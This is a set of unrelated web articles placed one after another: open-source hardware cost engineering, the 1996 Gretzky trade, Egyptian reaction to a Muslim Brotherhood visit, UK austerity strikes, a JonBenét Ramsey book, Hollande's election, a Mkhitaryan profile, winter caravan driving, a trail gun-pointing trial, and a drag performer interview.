his point that someone will eventually repackage the MakerBot and play Samsung to MakerBot's Apple.  And not everyone is crying foul. A statement on Hack A Day offers a precedent for Strong's cost engineering:  "There is a difference between engineering and inventing," says commenter stucknguay. "Matt has done engineering to decrease the cost while providing, theoretically, a product that performs equally. Those who say that what he did was not inventing are probably right. To say that isn't a significant contribution is just wrong. Remember, Henry Ford did not invent the assembly line or the automobile but his contributions to the industry weren't insignificant. Cost is a very real engineering concern."  With 15 days to go and only $24,010 raised of his $500,000 goal, it seems unlikely that Strong's TangiBot will get its kick-off on Kickstarter. But whether or not the campaign succeeds, the project may serve as a turning point for open source hardware.  We may see the open source hardware community split into two: One faction that celebrates design achievements and interesting hacks, with another focused on the unsexy world of supply-chain management and logistics. The latter aren't as sexy as designing a new microcontroller platform, but they can unlock a tremendous amount of value.  Just ask Walmart.
-The St. Louis Blues made a major deal on Friday night. It had been 18 years and one day since the Blues had seen a trade deadline move this high profile, and we look back on that move. In 1996, the Blues acquired the greatest hockey player of all-time, in a move that will forever be known as The Other Gretzky Trade.  Over the years, in the days leading up to the NHL Trade Deadline day, we have seen many deals that have paid off for teams in some way or another, be it an immediate contribution from an acquired player, or a deal that pays off for a team in the future. The most obvious example of the quick fix would be the New York Islanders 1980 trade, in which they acquired Butch Goring from the L.A. Kings. Goring gave the Isles added depth at centre, and helped propel them to four straight Stanley Cups between 1980-1983. A more recent example would be the Kings picking up Jeff Carter from Columbus, with Carter becoming a key contributor on the Kings Stanley Cup run in 2012.  An example of a swap that became a future success would be the St. Louis Blues deal made in the days prior to the 1988 deadline. They dealt a fine defenseman in Rob Ramage to Calgary, but the deal was worth it, as the skater they got in return, Brett Hull, scored 72 goals in 1989-90, and 86 more in 1990-91. Another more recent example would be the Montreal Canadiens shipping quality defenseman Craig Rivet to San Jose for Josh Gorges and a 1st round pick in 2007, a pick which turned out to be Max Pacioretty.  Rarely does a trade work out for neither team, though it has happened, with the most glaring high profile example in my mind being the Wayne Gretzky trade to St. Louis on Feb. 27th, 1996.  Leading up to the deal, the Kings were floundering. They had not made the playoffs since their Stanley Cup appearance in 1993, in danger of missing the playoffs again, and were reeling financially after having just been bought out of bankruptcy court. They were going to have to rebuild, but Gretzky wanted out. He wanted a chance to win that elusive fifth Cup, and wanted to be moved to a contender.  When he was ultimately dealt to St. Louis, this was a move that was supposed to make the Blues contenders in the West alongside Colorado and Detroit. The Blues now featured a core of Gretzky, Brett Hull, Shayne Corson, a defense unit including Al MacInnis and Chris Pronger, and goalie Grant Fuhr, who set an NHL regular season record by starting in 79 games. Gretzky was far from being finished in terms of production either, as he had 81 points in 62 games in Los Angeles, and he quickly added another 21 points in 18 games with St. Louis. But the Blues struggled after acquiring The Great One. They were in a fairly comfortable playoff position on February 27th, but went 6-10-5 after dealing for #99. They were able to squeak into the playoffs, and were able to get by the Maple Leafs in the first round, but could not overcome the powerhouse Red Wings in the West semi-finals, losing game seven on Steve Yzerman’s heroic double OT winner (a play that started from a Gretzky turnover).  The Blues may have made it to the second round with the help of Gretzky (and solid goaltending from Jon Casey who replaced an injured Fuhr), but that is all they would get from The Great One. The Blues had given L.A. quite a lot of potential in the Gretzky deal, yet all they would get from #99 was 18 regular season games and 13 playoff games. He had no interest in re-signing in St. Louis, and after rejecting an offer from Vancouver, having his deal with the Leafs squashed by owner Steve Stavro, Gretzky inked a three-year deal with the New York Rangers, while the Blues were hampered by lack of depth in 1996-97, losing to Detroit in the first round in six games.  The Blues did give up a lot of potential in order to nab Gretzky, yet it would not come back to haunt them. In the deal, the Blues sent Craig Johnson, Roman Vopat, Patrice Tardif, a first-round pick in 1997, and a fifth-round pick in 1996. Of those players, including the draft picks, none had any major effect in a Kings uniform. Johnson spent eight years in L.A., never scoring more than 38 points in a season, though he became a decent role player. Vopat notched all of 12 points in 57 games as a King, Tardif lasted all of 15 games in L.A., while the two draft picks, who turned out to be Peter Hogan and Matt Zultek, never played for the Kings. Hogan, the 5th rounder in 1996, never played in the NHL, while Zultek, the 1st rounder from 1997, refused to sign with Los Angeles, and was re-drafted by Boston in 1999.  You could argue the Kings were fleeced in the trade for the greatest player of all-time, yet considering the fact the Blues were only able to get 31 games out of Gretzky with no championship, this could truly be considered a deal that worked for neither team.  Thank you for reading. Please take a moment to follow me on Twitter – @NKonarowski2. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page.  Interested in writing for LWOS? We are looking for enthusiastic, talented writers to join our Hockey writing team. Visit our “Write for Us” page for very easy details in how you can get started today!
-The governments of Egypt and Saudi Arabia have expressed outrage over the warm visit Muslim Brotherhood members allegedly received at the White House in January, which the State Department eventually admitted to only after the Muslim Brotherhood members boasted of their visit on social media.  “The Egyptian regime, outraged by the visit, accused the U.S. administration of not respecting the Egyptian law that defines the MB as a terrorist organization, and of discounting the will of the Egyptian people,” reports the Middle East Media Research Institute (MEMRI).  President Sisi himself reacted to the State Department’s belated confirmation of the Muslim Brotherhood meeting by describing the Brotherhood as “the world’s most dangerous secret terrorist organization” and saying it “has clandestine wings and secret ideas and tools… which is why Egyptians rose up against it.” Other comments from Sisi’s government were even more pointed, as translated by MEMRI:  The Egyptian Foreign Ministry expressed outrage at the U.S. State Department’s hosting of the MB delegation. At the end of the African Union summit, Egyptian Foreign Minister Sameh Shoukry addressed the State Department’s explanation, saying: “I do not understand [the State Department’s] claims. We do not understand the existence of such ties with elements that are involved in terrorist activists meant to terrify Egyptians.” He added: “The MB movement is not a political party. Egyptian law – which should be respected, just as we respect the laws of others – defines it as a terrorist organization, based on evidence and testimony we have that indicates their involvement in terrorist actions meant to harm the lives of Egyptians, terrorize them, and threaten their security.” Shoukry said further: “If we wanted to bury our heads in the sand so as not to face reality, that would be another matter. But we see very well.” According to him, “terrorism is not just ISIS or Boko Haram, but rather all terrorist groups, regardless of what name they use, since they [all] champion the same ideology and the same ideas leading to death and destruction…” An Egyptian Foreign Ministry communique from February 1, 2015 states that the Egyptian Revolutionary Council and the MB’s parliament in exile consistently incite violence and terrorism, spread lies abroad regarding the situation in Egypt, and do not represent the will of the Egyptian people. Moreover, some of their members are wanted by the Egyptian authorities, and therefore holding ties with these “illegitimate organizations disrespects the will of Egyptians and grants legitimacy to entities that attack it.” The communiqué states further: “The contacts held by some countries with these terrorist entities enable them to spread their ideas, which incite violence and terrorism. They also contradict [these countries’] presumed commitment to the struggle against terrorism and extremism…”  Egyptian newspapers called out the Obama Administration for hypocrisy in meeting with the Brotherhood just a few weeks before convening a summit on the threat of “extremist organizations,” with an Al-Ahram editorial calling on the Egyptian government to skip the extremism summit as a gesture of disapproval. This was written before ISIS kidnapped and beheaded 21 Egyptian Christians who had been working in Libya; at last report, Egypt was planning to send representatives to the White House extremism summit.  The Administration has been less than forthcoming about this meeting at every turn, so there is reason to believe the Muslim Brotherhood is telling the truth about its final disputed claim, which is that White House officials were also present at the meeting. The Brother making this claim is notorious for referring to Jews as “the descendants of pigs and monkeys.”  The matter became a significant embarrassment for the Administration after Muslim Brotherhood members began bragging about the fine reception they received from Team Obama, Facebooking pictures of themselves flashing Brotherhood gang signs at the State Department building, and, most disturbingly, claiming that the Obama Administration is supportive of their quest to overthrow the government of Abdel al-Fattah al-Sisi, who deposed the Brotherhood in a coup, formally winning the presidency in a subsequent election. Needless to say, the Egyptian government is not happy to hear these claims, and the Saudis have expressed outrage as well.  Sisi has been an outspoken critic of Islamist extremism, a position Al-Ahram’s editors support by saying the Obama Administration’s “illusion that supporting the streams of political Islam [will enable them to] play a role in dividing control [of the region] will only lead the region to crumble further and will increase discontentment there. Then the U.S. will find itself dealing with the heritage of hatred for its policy on a much larger scale than today.”  This critique was punctuated with an editorial cartoon showing a happy Muslim Brotherhood representative (they all look immensely pleased with themselves in the Facebook photos that blew the Obama Administration’s cover) greeting an ISIS terrorist on the State Department steps and excitedly informing him, “They welcomed me, which means that they welcomed you, so this house is your house!”  The Saudi newspaper Al-Watan echoed Egypt’s concerns about the U.S. government conferring unwarranted legitimacy and prestige on the Muslim Brotherhood, charging that Team Obama “has yet to grasp the scope of the extensive popular opposition to the Muslim Brotherhood movement across the Middle East, particularly in the wake of the June 30, 2012 mass protests, the likes of which had never been seen in Egypt.” The protests in question featured banners accusing Obama and his ambassador to Egypt, Anne Patterson, of being allied with terrorists and fascists.  “History proves that peoples always emerge victorious in their campaigns against the forces of darkness and destruction,” Al-Watan warned. “Furthermore, all political Islam movements must realize that every crime they commit or to which they are an accessory increases the popular opposition to them.” The question of legitimacy is an important one in battling the spread of terrorist organizations; its predilection for hiding in caves kept al-Qaeda from acquiring the sort of nation-state credibility that its hideous stepchildren in ISIS have achieved.  The Muslim Brotherhood craves legitimacy, which is why they loudly trumpeted a meeting the State Department would rather have kept quiet. The Obama Administration’s strange fascination with the Brotherhood – a group that Obama’s Director of National Intelligence, James Clapper, once infamously tried to claim was “largely secular” – seems to be paying dividends for the MB. It is difficult to see what the United States and its allies against terrorism are getting out of the relationship.
-The British government has just invested in water cannons because they are fearing the rising tide of civil unrest as austerity is forcing the reduction of state workers and their pensions. I have been warning that unemployment will rise, but this time it is going to flow more so from the state and municipal workers. In the UK, hundreds of thousands have took to the streets to protest against the austerity measures of the government. Prime Minister Cameron has no choice for this is the collapse of socialism. Those who think I am anti-poor or whatever, are missing the point. It is the rising cost of government that is out of control and NO LEVEL of tax increase can reverse this trend.  The British unions called for strikes nationwide. Teachers, firemen and civil servants joined the calls and and took the streets demonstrating for higher wages and pensions. Just where is this money supposed to come from they really have no idea. They merely argue to take it from someone else no matter what and give it to them.  According to the unions more than one million people took part in the strike. About one-fifth of state employees have taken part in the strikes. Indeed, the majority had appeared on the job to maintain “almost all key areas of public service” functions. The interesting question this presents if everything can function with one-fifth less, then does this suggest that government can be run with far less people? Nonetheless, some 6,000 schools did remain closed, which was about one quarter of all schools in England. The strikes also impacted museums, libraries and garbage (refuse) collection in some cities. At the airports, such as international London Heathrow and Luton, there were delays because parts of the ground crew were on strike. Around 12 percent of government employees in Scotland joined the strike. Also in Northern Ireland and Wales there were many public institutions – including schools, courts and job centers – that had also closed on Thursday.  Public employees do not care where the money comes from, they refuse cuts and demand their pensions. This is similar to what happened in Rome where the army, when unpaid, just began sacking their own cities to grab whatever they had being justified as the army deserves it.  The central demands of the workers were against the austerity policy of the British government. In 2010, the salaries were frozen in the public service first. Then in 2012 an annual wage increase was written down by one percent. Governments are going broke because they promised pension and failed to fund it always assuming there would be ample tax revenues available.  Effectively, in Britain there was a two-year pay freeze, and then the 3rd year comes another freeze followed by a one-percent wage increase.
-Forget everything you think you know about the unsolved murder of JonBenét Ramsey  If one could suspend time for a moment and JonBenét Ramsey hadn’t been murdered, then most times when I look at this photograph, I’m smiling back at the joy and the delight in her eyes. This happiness and innocence is what we hope for our own children.  Yet she is gone -- tortured and murdered on Christmas or the day after in 1996 in Boulder, Colorado. Her case is still unsolved twenty years later.  The title of this book…We Have Your Daughter…includes the words of the killer in the ransom note left at her home.  This book lets you consider information from the Author’s investigation of parts of thousands of Boulder police records. It lets you experience that morning through the thoughts of the police officers who were there, in their own words, by posting the portions of their reports in the book about that terrible morning she disappeared. – None of these police reports have ever been published before.  Why now? Where is the justice for a child who would be a 26-year-old woman today?  This is the first time the Ramsey family and their attorneys cooperated with an outside author. And police investigators, district attorney lawyers, others in that department and those on the periphery all talk with the Author about happened, what was right and wrong and what they still believe. It’s the first book where all sides participate.  The media was manipulated by law enforcement, deceived by calculated and incorrect leaks. The resulting headlines are quoted in this book.  The Ramsey family and their murdered child are shown with the new insight of report cards and interviews with teachers and JonBenét’s friends.
-France will be waking up today to its first Socialist President for 17 years – and bracing for radical change. There are all kinds of reasons why one might fear a François Hollande presidency, especially if you are a prosperous French person.  The 57-year-old Socialist has openly admitted that he "does not like the rich" and declared that "my real enemy is the world of finance". This means taxing the wealthy by up to 75 per cent, curtailing the activities of Paris as a centre for financial dealing, and ploughing millions into creating more civil service jobs.  Add an explicit threat to renegotiate the euro pact to replace austerity with "growth-creating" spending, and you have one of the most vehemently left-wing programmes in recent history.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  German Chancellor Angela Merkel – the woman at the centre of the Franco-German economic powerhouse which has dominated Europe – was at one stage even threatening to campaign for her conservative ally, Nicolas Sarkozy, against Mr Hollande.  Caution is justified, though one thing Mr Hollande will not repeat is the disastrous tax-and-spend policies introduced by France's last Socialist President, François Mitterrand, in 1981. He was soon forced into a humiliating U-turn, and into sharing power with the right as the Communists quit his cabinet in protest.  In contrast, Mr Hollande will focus on solving the euro crisis and reversing a Gallic economic decline widely blamed on a failed capitalist system, and particularly a rotten banking sector.  Just as pertinently, he will seek to heal divides caused by five years of the most unpopular head of state in post-war history.  Mr Sarkozy continually stigmatised perceived undesirables, from France's six-million-strong Muslim community to Roma Travellers, whom his administration regularly deported.  The diminutive conservative has claimed Mr Hollande is an incompetent "liar" who will "bankrupt France", but the caricature of an untrustworthy leftist is wide of the mark.  Mr Hollande is an Enarque – a product of ENA (L'École Nationale d'Administration) France's elite "rulers' academy".  He came seventh in his year, above former conservative Prime Minister Dominique de Villepin, and is by no means the grey, provincial local government apparatchik his detractors claim.  Mr Hollande styles himself as a "social democrat" and not as any kind of revolutionary.  "I want to initiate a change in society in the long term," is how he put it earlier this month, as he outlined a programme which was far more pragmatic than ideological.  Mr Hollande's commitment to equality is evident in his promise to introduce parity between men and women in his cabinet, and create a ministry of women's rights. Efforts will also be made to promote equal pay between the sexes. He will bring under-represented minorities into government, and work to make the Republic more egalitarian.  Managing France is a near-impossible task at the best of times, and the current warnings of economic chaos and social disorder are no worse than those levelled at Mr Sarkozy five years ago.  François Hollande is going to have an extremely rough time, but he should not be written off as easily as some would like.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Shakthar Donetsk is arguably Ukraine’s most successful club at this point in time in their current history, appearing in the lucrative Champions League year after year. The Ukrainian outfit has won the last four Ukrainian Premier League titles, in succession and has also won an astounding 7 of the last 8 championships with Dynamo Kyiv winning the other one. But they have not always been the top dogs in Ukraine. Shakthar have a very deep squad that goes down all the way to their academy, but a mix of Brazilian players like Taison, Maicon, Douglas Costa, Ilsinho, and Ukrainian players such as Andriy Pyatov, Taras Stepanenko, and young Ukrainian defender Serihy Kryvtsov help build the club into the powerhouse that it is today.  The lone Armenian player in the squad, Henrikh Mkhitaryan, is making quite a name for himself after an impressive showing in the Champions League this past season and has moved onto the radar of many of the top European Clubs. Henrikh has also performed well for the Armenian national team already making close to 40 appearances and having already netted more than ten times at the ripe age of just 24 years old.  Profile  Henrikh Mkhitaryan was born on 21 January 1989 in the Armenian capital of Yerevan. He arrived in Donetsk back in 2010 after a brief season with another Ukrainian club, Metalurh Donetsk. Mkhitaryan’s father was a very prolific striker back in the 80s for FC Ararat Yerevan before moving to play in France for a short time. Unfortunately, Henrikh’s father died of a brain tumor when he was just seven years of age.  Mkhitaryan joined the youth system of Pyunik FC at just six years of age. He would stay with the club his whole childhood and earned his first salary at 15. Two years later, at the age of 17, Henrikh would have the chance to prove that he has what it takes to earn a permanent spot in the first side. The Armenian midfielder would do just that, for four seasons between 2006 and 2009. During his time there he would win four consecutive Armenian league titles, two Armenian Supercups, and one Armenian Cup during his final season with the club. His spectacular performances with his first club, in which he managed 35 goals in 89 appearances in all competitions, he made the move to Metalurh Donetsk of the Ukrainian Premier League.  In his first match with his new squad, Henrikh scored a goal in a 3-0 victory over Belarusian Premier League side FC Partisan Minsk, in a Europa League qualifying game. Metalurh faced Slovenian’s Interblock Ljubljana in the next qualifying round, and he scored again in the return leg, where eventually his side won on aggregate 5-0. Henrikh Mkhitaryan’s first league match came in a 0-0 draw with Dnipro Dnipropetrovsk. As a whole that season, he earned a total of 38 appearances for Metalurh across all competitions while scoring 14 times that season. The following season, he became the youngest captain ever at Metalurh, when he was named captain on July 14th, at just 21 years of age. Because of his consistent performances with Metalurh over the past two seasons, he made the switch to Shakthar Donetsk where he would continue to improve his game greatly.  Henrikh’s debut for his new club did not come right away as he had to work hard in training to show his new coaching staff that he does in fact have what it takes to become a regular starter at a more established club. His debut finally came on September 10th in an away defeat to Obolon Kyiv. He scored his first goal for the club in his debut at the Donbass Arena. That season was rather successful for Shakthar as they won the Ukrainian treble, by winning the Premier League, the Ukrainian Supercup, and the Ukrainian Cup.  This past season was a breakout year for the Armenian midfielder as he amassed a total of 25 league goals, which is now a Ukrainian Premier League record. That record was previously held by Dynamo Kyiv legends, Serhiy Rebrov & Maksim Shatskikh both of who scored 22 goals in 1998 & 2003 respectively. In his first two seasons at Shakhtar, Mkhitaryan played 64 games scored 15 goals; in 39 games in the 2012/13 season, he managed 25 goals. He also played in his 100th league match in Ukrainian domestic football on March 16th of this year.  Henrikh Mkhitaryan has played 39 games for his national team, at the time of writing, scoring 11 goals. His most recent goal was in Armenia’s famous 4-0 World Cup qualifying victory over Denmark in Copenhagen, earlier this month.  Styles, Strengths, and Weaknesses  Henrikh is most prolific when he is playing right behind the first striker. When he is behind the central striker with the ball, space opens up for the Armenian midfielder and creates fantastic goal scoring opportunities with his great vision of the play happening in front of him and finding the perfect pass to his surrounding teammates. For anyone that had ever watched his father play in the 80s, may say that his style of play emulates that of his father.  His creativity, technique, and movement, all help confuse the back four of many defenses across the Ukrainian Premier League. And because of his ability, Henrikh Mkhitaryan pretty much has an automatic spot in the national team as he is by far one of the best, if not the best midfielder on the current Armenian roster. With all the experience he has, it is almost a guarantee that he will be in the Armenian team for all of their major matches.  Mkhitaryan’s work rate is absolutely sensational. It seems like he never takes a second off from the play, whenever I have seen him. Henrikh will help build up play starting from the half way line as the back four retain possession. Then, if the play ever broke down because of a bad pass, or whatever the reason may be, Henrikh will track all the way back to help out his defense. In other words, he never stops running, ever. I do not know where he gets all of the energy that he does for the full ninety minutes.  Comparisons have been made with Kaka and Frank Lampard. Both of whom play in simillar positions but different roles. So, you could say that Henrikh Mkhitaryan is a combination of both, positioned behind the striker with the ability to take on the opposition ahead of him, while also making late runs into the box.  Henrikh Mkhitaryan has an incredible burst of pace as well. His ability to run at defences comes with his raw speed. He confessed in this interview to News.am that he could have been a sprinter, if not a footballer. Henrikh mentioned in this interview with Shakhtar’s official website that he takes inspiration from Zinedine Zidane “I appreciated the style of Zinedine Zidane, what he did on the pitch. He was like a magician to me.” He is no Zidane, but he does have that element of magic on the pitch.  Mkhitaryan has obviously benefited from having creative talent beside him, with the likes of Alex Texeira, Willian and Luiz Adriano. But Mkhitaryan brought something extra to the field. He is an all-round fluid performer in the attacking third and has the ability to score with an assortment of efforts.  There is not a whole lot of Mkhitaryan’s game that I do not like. The only thing that can be said about his game is that he does not always play the perfect pass to his teammates. But then again, who really does? Even the fantastic Real Madrid midfielder, Xabi Alonso will misplace a pass from time to time, all of the greatest players do. Henrikh Mkhitaryan is certainly one to watch for the future with the more exposure he will get due to the Champions League, the more people will hear about him.  Transfer Situation  A few weeks ago, Liverpool announced that the Armenian midfielder was their number one summer transfer target, according to various England newspapers including, the Guardian, Independent, and many others. However, if Liverpool are going to sign him this summer, they will need to pay the £20m price tag that was slapped on him by the Shakthar Donetsk board. It should be noted here that Henrikh Mkhitaryan is represented by Mino Raiola, known as the super agent of football. He is behind the big money (controversial) moves of Zlatan Ibrahimovic to PSG, Mario Balotelli to AC Milan and Paul Pogba from United to Juventus. Known for demanding high salary for his players, Liverpool who have been increasingly linked with the Armenian will need to cough up a decent amount of dough to land Raiola’s player.  Many other clubs are interested in him with Bayern Munich, Manchester City, and Chelsea also waiting in the wings for the exuberant midfielder. His current deal with the Ukrainian club lasts until June of 2015, so if a bigger European club wants his signature, they will most likely have to pay a hefty buyout clause. However, what they will get is a very consistent midfielder who will work hard every day in training to continue his craft and will always give all he has in each and every match he plays in.  Still at 24, Henrikh Mkhitaryan has the ability to go onto bigger and better things in football. His place is at the top, and his journey to that destination has just kicked off.  UPDATE: Henrikh Mkhitaryan joined Borussia Dortmund.
-There's no denying that driving with a caravan requires better skills and higher concentration than when driving only a car. The easiest way to see this, is when driving on slippery surfaces.  In extreme situations it’s easy to lose control over the caravan. However, to minimize the risk, it’s worth spending some time and energy to properly prepare the caravan, so it will be stable.  Before you set off  Correct tire pressure is a crucial thing- if you will follow the manufacturer's instructions, the entire set will be stable when driving.  A more controversial issue are the brakes. Typical overrunning brake mounted in caravans, usually don’t work very well with car’s ABS. As a result, the effective ABS braking can lead to locking of the caravan’s wheels. The solution may be to adjust the brakes on the caravan in such way, so they react much weaker than normally. However, you can do this only when you’re sure that you’ll drive on snowy or icy roads.  The loading will also strongly affect caravan’s behavior. Firstly, you should never exceed the maximum permissible load. Second, the load should be arranged evenly and the heaviest items placed low and as close to the center of the trailer as possible.  All equipment and luggage should be protected so they don’t move around when turning or when you suddenly stop.  Driving on slippery roads  Driving with a caravan, you should never "go crazy" on the road. When overtaking a lorry or driving next to a forest, and the trees suddenly end you will immediately feel how a gust of wind pushes your caravan aside. In order to avoid unpleasant surprises you have to drive at a safe speed. This rules become even more important in winter.  You should keep the speed at which the caravan is stable, ie. it doesn’t pulsate. Even better, if you drive a little slower than it’s possible, even if it means driving at 30km/h in the mountains. Remember that stable caravan is a priority if you want to reach your destination safely.  If the trailer starts to sway, you can react in two ways. The first is a delicate braking. It may happen that it will only make things worse. The second way is to wait for unstable caravan to set precisely with the axis of the car. At this point you have to slightly step on the gas, which should stabilize the whole set. This is why you should drive at a reasonable speed. When the caravan is stable again, you should return to an earlier, slower speed.  When driving a car with ABS, in emergency situations you should brake by pressing the brake pedal to the floor. Because the wheels of the caravan can then be blocked, sometimes it’s better to turn the ABS off and try a cadence braking. Calmly and repeatedly applying and releasing the brake pedal will make the entire set to slow down steadily. Of course, you shouldn’t try this if the ABS is activated.  It’s best to avoid mountain roads during winter. However, if you cannot choose different route, bring chains and a bag of gravel to sprinkle the road at the steepest parts. Going uphill will often require driving in first gear.
-Chris Hess, his wife Angela, their teenage daughter and her boyfriend were on a mountain biking excursion near Brightwood when they crossed paths with David and Pamela Gathwright.  The Mother's Day 2013 confrontation began with two meandering dogs and culminated with David Gathwright pointing a handgun at Chris Hess' head.  The clash led to criminal charges against the Gathwrights. Their trial started Tuesday before Clackamas County Circuit Court Judge Susie Norby.  On Wednesday, Norby found David Gathwright, 60, guilty of unlawful use of a weapon, menacing and pointing a firearm at another person. She found Pamela Gathwright, 58, guilty of attempted second-degree animal abuse. They will be sentenced April 7.  It wasn't the first time the Gathwrights confronted people using the Sandy Ridge mountain biking trail system about 11 miles east of Sandy, according to the U.S. Forest Service.  "Over the past several years, the Gathwright's have been, allegedly, confronting and harassing bikers and hikers along the trail brandishing pepper spray, Tasers, and at least one instance of pointing a hand gun," the Forest Service said in a news release after the Gathwrights' arrest July 1, 2014.  Mountain bikers informally reported encounters with a couple believed to be the Gathwrights.  Pamela Gathwrigh told a U.S. Forest Service ranger that people who use the trails are "thugs" and off-leash dogs on the trails are dangerous, according to trial testimony.  The Gathwrights had not been cited before the incident with the Hesses.  The Gathwrights and the Hesses gave conflicting accounts of what happened that day.  The Hesses had their two miniature Australian shepherds with them. They came to a stop where the trail crossed a Forest Service road. That's where they encountered the Gathwrights.  As the Gathwrights approached, they yelled for the Hesses to get control of the dogs, who were off leash. On that, both sides agree.  The Hesses said their dogs -- no more than 40 feet away from them -- were friendly, showed no aggression and posed no threat. Dogs are not required to be leashed.  They said Pamela Gathwright pulled out an electric stun gun, leaned forward and clicked it at one of the dogs. The device made a visible arc.  Words were exchanged. The Gathwrights claim Angela Hess said, "I'm going to kick your ass" and her teen-age daughter used profanities.  From there, things moved quickly. Chris Hess lifted his bike in the air in a protective gesture. He recalled reading that is was a good tactic if confronted by a bear.  "That wasn't helpful, and I lowered it," he said,  Chris Hess said David Gathwright pulled out a gun -- later identified as a Glock semi-automatic pistol.  "He was aiming straight at my face," Chris Hess testified. "I thought I was going to die.  The Gathwrights offered a different scenario.  Pamela Gathwright had been bitten by a dog and was wary of the animals.  The Gathwrights said it was the Hesses that escalated the situation through their hostile and threatening behavior.  David Gathwright said he pulled out his gun and pointed it at the ground in self-defense.  The Gathwrights "provoked this particular argument" and have no right to claim self-defense, said prosecutor Bill Golden.  Norby didn't find the Gathwrights version believable.  David Gathwright's testimony in particular, seemed "self-serving," she said.  Gathwright testified that he and his wife "always chose the least dangerous thing" when they feel the need to protect themselves, Norby said.  "The least dangerous when presented with a perceived risk is to change the course of their path of travel. But they did not do that," Norby said.  Pamela Gathwright's use of a stun gun "was not an act of self-defense but one of purposeful aggression," Norby said.  Norby said that, based on the evidence, she believed that Gathwright aimed the gun directly at Hess.  Norby noted that David Gathwright testified that in the 25 years the couple have been hiking and biking they have never been attacked by a dog or other animal.  "The hikers and bikers who testified in this trial were the Hess family, who had bicycles and small dogs on the trail on Mother's Day, and the Gathwrights, who carry OC spray, stun guns, tasers and a loaded handgun when they traverse a trail," Norby said.  "As the evidence shows, the Gathwrights themselves seem to be the most fearsome hikers on the trail," Norby said.  -- Steve Mayes  smayes@oregonian.com  503-294-5916; @ocmayes
-BenDeLaCreme Talks About Going to Hell and Why He’s Not on RuPaul’s Drag Race All Stars A Q&A About Inferno A-Go-Go, & the Drag Star's Latest Solo Show  In Inferno-A-Go-Go, she plays a tourist wandering through hell. Jason Russo  Where are you at this moment and what are you doing? I've heard you've been in hell.  I'm currently in Provincetown, Massachusetts—the dreamy little LGBT vacation destination on the tip of Cape Cod. Beach in the day, performance in the evening, a wealth of mind-blowing queer artists and musicians to soak in all night. It's grueling.  Your new show is based on Dante's Inferno. Tell me about it.  Oh, you know how I roll—grappling with the pitfalls of moral absolutism through songs, puns, and puppets! BenDeLaCreme has decided to descend into hell in Dante Alighieri's footsteps, with only the vaguest understanding of what that might entail. Along the way, she sings and dances—and meets harpies, centaurs, and sodomites. It uses a vaudevillian format as a structure to tell the story, so it's a lot of ridiculous, campy fun. It's a show and a story for everyone—but if you've read Inferno, there are a few little treats just for you.  This show opened in New York City, and now you're bringing it back to your hometown, Seattle. What's hotter in summertime—hell or New York City?  Well, hell isn't seasonal, but I guess it's the difference between sitting on the subway in a pool of your own sweat versus standing in an actual hole full of fire, so I'll choose the former. I'd always rather sit.  This isn't the typical order we see shows out here. Do you always try out your ideas in New York City and only then bring them to Seattle?  So far I have, but that's more a scheduling thing than a calculated move. There's no "safe place" to premiere a show. I want it to be the best it can be no matter where I am. New York audiences can be notoriously critical and unforgiving. On the other hand, I've been performing in Seattle for a decade now, and I want to bring my best to the audience that has supported me on my way up—so six of one, you know? But the bulk of my process happens before opening night. I work more like a theater maker than a cabaret artist: Very little is improvised. I'm not usually working out new material onstage to see if it lands. Fortunately thus far it's worked in my favor!  Are you changing anything after the New York run?  Actually no. There were a few small tweaks opening weekend, but overall this show has hit exactly as I hoped it would. This is only the third solo show I've written, and with each one I feel my vision and voice becoming clearer. Not really changing but becoming more well-honed. This time around I had a wonderful guide in Scott Shoemaker (my Virgil!), who I have worked with over the years in Freedom Fantasia and Homo for the Holidays, and of course he's making waves with his brilliant Ms. Pak-Man shows and in Ian Bell's Brown Derby Series. For lack of a better term, I've been referring to him as my dramaturge. He's so brilliant and funny—I bounced ideas off him throughout the whole process, and he helped me tease them out and supported all my research and writing. My fullest ideas get developed in conversation rather than in a bubble—and Scott was an indispensable part of that process.  Jason Russo  Have you read Dante's Inferno?  I have—but only after choosing the theme, which is how I generally work. I'd been racking my brain for a subject for my next show, and I was on a plane home from performing at the World Buskers Festival in New Zealand when the idea randomly popped into my head. I like adapting preexisting material, both because it defines the parameters of your subject and because it can inform some structural guidelines. I was also drawn to the way that through the nine circles of hell the story is inherently divided into sections, which speaks to my desire to deal with both narrative and a segmented cabaret/variety structure. Then of course I thought: "Oh, sins! Sins are funny and fun!" When I landed at LAX, I walked into the bookstore and Inferno was actually sitting right there on the shelf. Only one copy. AT AN AIRPORT BOOKSTORE. I don't believe things happen for a reason, but I believe in humans' ability to create reason out of anything that happens. And it was settled.  Of course, as soon as I started reading, and the horrors of 2016 began unfolding, I thought, "Oh shit, sins are super not fun." I was faced with the heaviness of having chosen a subject riddled with death, murder, the way that humans betray and hurt other humans, and the way we decide the value and worth of each other's lives. But then I realized this was exactly the reason to be working on this right now. We all have to make sense of these horrible events, of the hell we are living in.  You know what doesn't make sense? You not being on RuPaul's Drag Race All Stars. I just watched the first episode. Why aren't you on there? Did they ask you?  Take another look. Those TV producers are willing to ruin friendships, professional relationships, feelings of self-worth—all for some cheap entertainment. You won't remember the details of that episode in a week. Those queens may have to work through that experience for years. I'm grateful for the experience I had [on season six of RuPaul's Drag Race], but I've already been through hell in my new show—I don't need to go through it on theirs.  Okay, sorry to talk TV, back to literature. Is there a river of boiling blood in your show?  Yes.  Do you believe in Satan and hell and all that stuff?  I believe in the hells that we create—but I'll save my thoughts on that for the show.
